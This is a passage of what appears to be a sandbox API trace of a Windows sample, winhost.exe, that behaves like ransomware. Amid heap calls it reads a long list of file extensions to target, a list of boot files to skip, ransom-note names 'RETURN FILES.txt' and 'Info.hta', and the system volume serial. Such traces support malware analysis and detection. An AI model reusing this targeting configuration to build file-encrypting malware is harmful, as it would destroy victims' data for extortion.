returned 0x605510 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605528 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x605540 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605558 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605570 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605588 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6055a0 [0070.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6055b8 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e00 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e18 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea2a0 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e30 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e48 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605e60 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e78 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605e90 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605ea8 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605ec0 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605ed8 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605ef0 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605f08 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605f20 [0070.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605f38 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605f50 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605f68 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605f80 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5e60e8 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605f98 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605fb0 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605fc8 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x605fe0 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x605ff8 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea2b0 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606010 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606028 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606040 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606058 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606070 [0070.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606088 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6060a0 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6060b8 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6060d0 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6060e8 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606100 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606118 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606130 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606148 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606160 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606178 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606190 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6061a8 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6061c0 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6061d8 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6061f0 [0070.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606208 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606220 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606238 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606250 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606268 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea2c0 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606280 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606298 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6062b0 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6062c8 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6062e0 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6062f8 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606310 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606328 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606340 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606358 [0070.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606370 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606388 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6063a0 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6063b8 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6063d0 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6063e8 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606400 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606418 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606430 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606448 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606460 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606478 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea2d0 [0070.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606490 [0070.439] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0070.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602068 | out: hHeap=0x5b0000) returned 1 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6064a8 [0070.440] lstrlenW (lpString="") returned 0 [0070.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6064a8 | out: hHeap=0x5b0000) returned 1 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6064a8 [0070.440] lstrlenW (lpString=".data") returned 5 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6064c0 [0070.440] lstrlenW (lpString=".data") returned 5 [0070.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6064a8 | out: hHeap=0x5b0000) returned 1 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6064a8 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea2e0 [0070.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6064d8 [0070.440] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6064d8, Size=0x20) returned 0x5e5b18 [0070.440] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5b18, Size=0x40) returned 0x5e6ba8 [0070.440] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6ba8, Size=0x80) returned 0x60b458 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5e6108 [0070.441] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea2e0, Size=0x8) returned 0x5ea2f0 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5e5b18 [0070.441] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea2f0, Size=0x10) returned 0x6064d8 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6064f0 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5e5ac8 [0070.441] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6064d8, Size=0x20) returned 0x5e5a50 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x6064d8 [0070.441] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0070.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0070.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606508 [0070.441] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606508, Size=0x20) returned 0x5e5b40 [0070.441] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5b40, Size=0x40) returned 0x5e6ba8 [0070.442] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x22) returned 0x5fb528 [0070.442] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0070.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6ba8 | out: hHeap=0x5b0000) returned 1 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606508 [0070.442] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606508, Size=0x20) returned 0x5e5b40 [0070.442] lstrlenW (lpString="Info.hta") returned 8 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x5e6128 [0070.442] lstrlenW (lpString="Info.hta") returned 8 [0070.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5b40 | out: hHeap=0x5b0000) returned 1 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x62d468 [0070.442] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x62d468, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0070.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d468 | out: hHeap=0x5b0000) returned 1 [0070.442] lstrlenW (lpString="winhost.exe") returned 11 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5e6148 [0070.442] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5a50, Size=0x40) returned 0x5e6ba8 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606508 [0070.442] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606508, Size=0x20) returned 0x5e5a50 [0070.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x62d468 [0070.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x63d470 [0070.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606508 [0070.461] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606508, Size=0x20) returned 0x5e5b40 [0070.461] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5b40, Size=0x40) returned 0x5e6bf0 [0070.461] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6bf0, Size=0x80) returned 0x60b458 [0070.461] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600188 [0070.461] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0070.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x600188 | out: hHeap=0x5b0000) returned 1 [0070.461] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x62d468, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0070.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d470 | out: hHeap=0x5b0000) returned 1 [0070.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d468 | out: hHeap=0x5b0000) returned 1 [0070.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606508 [0070.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea2f0 [0070.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16) returned 0x5e6168 [0070.462] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea2f0, Size=0x8) returned 0x5ea2e0 [0070.462] lstrlenW (lpString="%windir%;") returned 9 [0070.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5a50 | out: hHeap=0x5b0000) returned 1 [0070.462] lstrlenW (lpString="C:\\Windows;") returned 11 [0070.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d460 | out: hHeap=0x5b0000) returned 1 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606520 [0070.462] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606520, Size=0x20) returned 0x5e5a50 [0070.462] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5a50, Size=0x40) returned 0x5e6bf0 [0070.462] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6bf0, Size=0x80) returned 0x60b458 [0070.462] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600188 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5fb558 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea2f0 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea300 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea310 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606520 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea320 [0070.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606538 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea320, Size=0x8) returned 0x5ea330 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606550 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea330, Size=0x10) returned 0x606568 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606580 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x606598 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x606568, Size=0x20) returned 0x5e5a50 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606568 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6065b0 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea2f0, Size=0x8) returned 0x5ea330 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea300, Size=0x8) returned 0x5ea2f0 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea300 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6065c8 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea320 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x602080 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea320, Size=0x8) returned 0x5ea340 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x602098 [0070.463] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea340, Size=0x10) returned 0x6020b0 [0070.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6020c8 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea340 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6020b0, Size=0x20) returned 0x5e5b40 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea330, Size=0x10) returned 0x6020b0 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea2f0, Size=0x10) returned 0x6020e0 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea2f0 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6020f8 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea330 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x602110 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea330, Size=0x8) returned 0x5ea320 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea330 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x602128 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea350 [0070.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x602140 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea350, Size=0x8) returned 0x5ea360 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6020b0, Size=0x20) returned 0x5e5b68 [0070.464] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6020e0, Size=0x20) returned 0x5e5b90 [0070.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5ea350 [0070.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6020e0 [0070.465] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea370, Size=0x8) returned 0x5ea380 [0070.465] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0070.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x600188 | out: hHeap=0x5b0000) returned 1 [0070.465] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602158, Size=0x20) returned 0x5e5bb8 [0070.465] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x61d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0070.465] lstrlenW (lpString="C:\\") returned 3 [0070.465] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x61d460 | out: hHeap=0x5b0000) returned 1 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602880, Size=0x82) returned 0x603a88 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6028a0, Size=0x100) returned 0x600188 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603b18, Size=0x104) returned 0x603c38 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b678, Size=0x100) returned 0x600080 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603a88, Size=0x104) returned 0x603a88 [0070.466] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x600188, Size=0x200) returned 0x602c68 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602890 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602c68 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602200 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b5f0 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6021b8 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b568 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6021e8 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x603a88 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6021d0 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x603c38 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602218 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x603ba8 | out: hHeap=0x5b0000) returned 1 [0070.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602230 | out: hHeap=0x5b0000) returned 1 [0070.468] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602230, Size=0x20) returned 0x5e5be0 [0070.468] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5be0, Size=0x40) returned 0x5e6bf0 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 